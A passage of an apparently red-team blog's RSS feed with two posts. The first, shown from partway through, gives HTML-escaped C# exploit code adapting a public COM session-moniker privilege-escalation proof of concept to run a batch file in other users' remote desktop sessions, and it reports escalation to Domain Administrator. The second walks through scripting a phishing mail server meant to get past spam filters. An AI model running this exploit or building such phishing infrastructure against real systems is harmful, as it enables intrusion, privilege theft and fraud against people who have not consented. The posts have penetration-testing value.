    &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Waiting For a Target Session&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;IEnumerable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sessions&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;GetSessionIds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current_session_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sessions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;new_session_id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sessions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;First&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Creating Process in Session {0} after 20secs&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_session_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;20000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;IHxHelpPaneServer&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IHxHelpPaneServer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Marshal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BindToMoniker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_session_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Uri&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Combine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Environment&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetFolderPath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Environment&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SpecialFolder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;notepad.exe&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AbsoluteUri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;And here is our modified code:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current_session_id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetCurrentProcess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SessionId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_session_id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Waiting For a Target Session&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;IEnumerable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sessions&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;GetSessionIds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current_session_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sessions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Random&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rnd&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
            &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Next&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sessions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;new_session_id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sessions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ElementAt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Creating Process in Session {0} after 20secs&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_session_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;20000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;IHxHelpPaneServer&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IHxHelpPaneServer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Marshal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BindToMoniker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_session_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Uri&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;C:\\TEMP\\testing.bat&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AbsoluteUri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;60000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;in-conclusion&quot;&gt;In Conclusion&lt;/h2&gt;

&lt;p&gt;We understand that our modifications may not be perfect, but we were able to take &lt;a href=&quot;https://bugs.chromium.org/p/project-zero/issues/detail?id=1021&quot;&gt;James Forshaw’s&lt;/a&gt; amazing work and mold it to our situation. In the end, we successfully spawned shells in each user’s context on the remote desktop server. Using those privileges we were able to escalate to Domain Administrator.&lt;/p&gt;

&lt;p&gt;None of this would be possible without &lt;a href=&quot;https://twitter.com/tiraniddo&quot;&gt;James Forshaw&lt;/a&gt; for developing and releasing the original proof of concept, and &lt;a href=&quot;https://www.linkedin.com/in/chris-myers-54326155/&quot;&gt;Chris Myers&lt;/a&gt; for working through this problem with me!&lt;/p&gt;
</description>
        <pubDate>Fri, 17 Mar 2017 14:15:31 +0000</pubDate>
        <link>https://blog.n0pe-sled.com/2017/03/17/COM-Moniker-Privesc/</link>
        <guid isPermaLink="true">https://blog.n0pe-sled.com/2017/03/17/COM-Moniker-Privesc/</guid>
        
        <category>Priv-Esc</category>
        
        <category>Exploit</category>
        
        
        <category>Archive</category>
        
      </item>
    
      <item>
        <title>Mail Servers Made Easy</title>
        <description>&lt;p&gt;Setting up a phishing server is a very long and tedious process. It can take hours to setup and can be compromised in minutes. The esteemed gentlemen &lt;a href=&quot;https://twitter.com/cptjesus&quot;&gt;@cptjesus&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/Killswitch_GUI&quot;&gt;@Killswitch_GUI&lt;/a&gt; have already made leaps and bounds in this arena. I took everything that I learned from them on setting up a server and applied it to a bash script to automate the process. Before we get to the script, let’s go over the basics to setting up a mail server.&lt;/p&gt;

&lt;p&gt;First, let’s outline the process, then dive deeper into each step:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Obtain a VPS/Server/IP trusted by the target&lt;/li&gt;
  &lt;li&gt;Setup Secure Access to the Server&lt;/li&gt;
  &lt;li&gt;Disable IPv6 and Remove Exim&lt;/li&gt;
  &lt;li&gt;Install SSL Certs from Let’s Encrypt&lt;/li&gt;
  &lt;li&gt;Install Dovecot and Postfix&lt;/li&gt;
  &lt;li&gt;Add Aliases&lt;/li&gt;
  &lt;li&gt;Configure DNS Entries&lt;/li&gt;
  &lt;li&gt;Test Mail Server Configuration&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;1-obtain-a-vpsserverip-trusted-by-the-target&quot;&gt;1) Obtain a VPS/Server/IP trusted by the target:&lt;/h2&gt;

&lt;p&gt;To use this script, you must have a Domain Name, and access to a server running Debian 8. You must have the ability to set the PTR record for the IP Address assigned to your server. There are many different options available to purchase a virtual private server(VPS). Some notable ones include &lt;a href=&quot;https://www.digitalfyre.com&quot;&gt;DigtalFyre&lt;/a&gt;, &lt;a href=&quot;https://www.linode.com&quot;&gt;Linode&lt;/a&gt;, and &lt;a href=&quot;https://www.digitalocean.com/&quot;&gt;DigitalOcean&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;2-setup-secure-access-to-the-server&quot;&gt;2) Setup Secure Access to the Server&lt;/h2&gt;

&lt;p&gt;The industry standard for accessing a server remotely is through SSH. Ideally, SSH should only be accessible to a single account with low privileges. Root login and password authentication should also be disabled. The Command “Setup SSH” will prompt you to create an account to be used for SSH Authentication. Once the account is setup, the script uses that account to create a “.ssh” directory. It will also edit /etc/ssh/sshd_config to only allow that user to authenticate, and prevent remote root logins.&lt;/p&gt;

&lt;h2 id=&quot;3-disable-ipv6-and-remove-exim&quot;&gt;3) Disable ipv6 and remove Exim&lt;/h2&gt;

&lt;p&gt;Debian 8 comes with the Exim mail service by default. Exim can cause problems when installing Postfix and should be removed. On the same note, IPv6 can create additional challenges and should be disabled. The command “Debian Prep” will remove Exim, and disable IPv6. The script will also prompt you for the Mail Server’s Domain Name. It will use this Domain name to change the Hostname of the System. After all of these changes, the system will reboot.&lt;/p&gt;

&lt;h2 id=&quot;4-install-ssl-certs-from-lets-encrypt&quot;&gt;4) Install SSL Certs From Lets Encrypt&lt;/h2&gt;

&lt;p&gt;We will need a working SSL Certificate to use TLS with Postfix authentication. To create this, ensure that you have set the A record on your Domain Name to the IP address of the Server and run the “Install SSL” command. It will prompt you for the Domain Name again, and then begin the process of creating the SSL Certs.&lt;/p&gt;

&lt;h2 id=&quot;5-installing-postfix-and-dovecot-mailserver&quot;&gt;5) Installing Postfix and Dovecot (MailServer):&lt;/h2&gt;

&lt;p&gt;Now that all of the prerequisites are complete, we can start installing the actual mail server. To make a mail server appear legitimate, it must have a reverse PTR record set up correctly and employ the following elements:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Sender Policy Framework (SPF)&lt;/li&gt;
  &lt;li&gt;DomainKeys Identified Mail (DKIM)&lt;/li&gt;
  &lt;li&gt;Domain Message Authentication, Reporting, and Conformance (DMARC)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To setup the Mail Server correctly, we need more information.  After running the command “Install Mail Server” you will be prompted for the three things.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Domain Name for the mail server&lt;/li&gt;
  &lt;li&gt;A user to receive mail for the root account&lt;/li&gt;
  &lt;li&gt;Relay Host IP address&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These inputs should be rather self-explanatory.  The Domain name should be the same name that is set to the host in DNS.  The user configured to receive email for the root account should be set to the user created when establishing SSH access. Finally, the relay host is the host that is running your phishing framework.  &lt;strong&gt;If you are hosting your phishing framework on the same VPS then just leave this input blank&lt;/strong&gt;.  Otherwise, enter the IP address of the system hosting GoPhish or your Cobalt Strike team server.&lt;/p&gt;

&lt;p&gt;Once the command has finished, you should see a service status report for Postfix, Dovecot, OpenDKIM, and OpenDMARC. Each of these services should report “active (running)” as pictured below.
&lt;img src=&quot;/assets/Mail-Server-Setup/service-status.png&quot; alt=&quot;Mail-Server-Status&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;6-add-aliases&quot;&gt;6) Add Aliases&lt;/h2&gt;

&lt;p&gt;Once the server is up and running, we need to tell it where to send mail to and from. Using the command “Add Aliases”, assign the user account you created earlier to receive mail for root and then chose an alias to test from.&lt;/p&gt;

&lt;h2 id=&quot;7-configure-dns-entries&quot;&gt;7) Configure DNS Entries&lt;/h2&gt;

&lt;p&gt;Finally, we can add DNS entries to our domain to ensure that SPF, DKIM, and DMARC are working properly. Using the command “Get DNS Entries” will print the DNS entries to the console, as shown below.
&lt;img src=&quot;/assets/Mail-Server-Setup/dns.png&quot; alt=&quot;dns&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;8-testing-your-new-mail-server&quot;&gt;8) Testing your new mail server&lt;/h2&gt;

&lt;p&gt;To check your new mail server, send an email using the mail command! Simply run mail target@example.com on the command line, and then follow the prompts. Then check to see if the email was delivered. You can also use tools like
&lt;a href=&quot;http://dkimvalidator.com/&quot;&gt;DKIM Validator&lt;/a&gt; to check that DKIM is passing, and &lt;a href=&quot;http://mxtoolbox.com/&quot;&gt;MX Toolbox&lt;/a&gt; for nearly everything else.&lt;/p&gt;

&lt;h2 id=&quot;in-conclusion&quot;&gt;In Conclusion&lt;/h2&gt;

&lt;p&gt;Phishing is a hard and painful process, and this script is only part of the battle. Some organizations have hardened spam filters that can be incredibly difficult to get around. Things like domain categorization and domain age can help but ultimately may still not be enough. In my testing, this script will get through to Gmail inboxes on DigitalFyre’s infrastructure. However, the story is different when used with Digital Ocean.  You can find the script on Github &lt;a href=&quot;https://github.com/jcatrambone94/Postfix-Server-Setup&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I will be following up this post up with a guide on how I Phish with these servers using traditional tools like Cobalt Strike and GoPhish&lt;/p&gt;
</description>
        <pubDate>Tue, 14 Feb 2017 14:15:31 +0000</pubDate>
        <link>https://blog.n0pe-sled.com/2017/02/14/Mail-Server-Setup/</link>
        <guid isPermaLink="true">https://blog.n0pe-sled.com/2017/02/14/Mail-Server-Setup/</guid>
        
        <category>Phishing</category>
        
        <category>Server-Setup</category>
        
        
        <category>Archive</category>
        
      </item>
    
  </channel>
</rss>
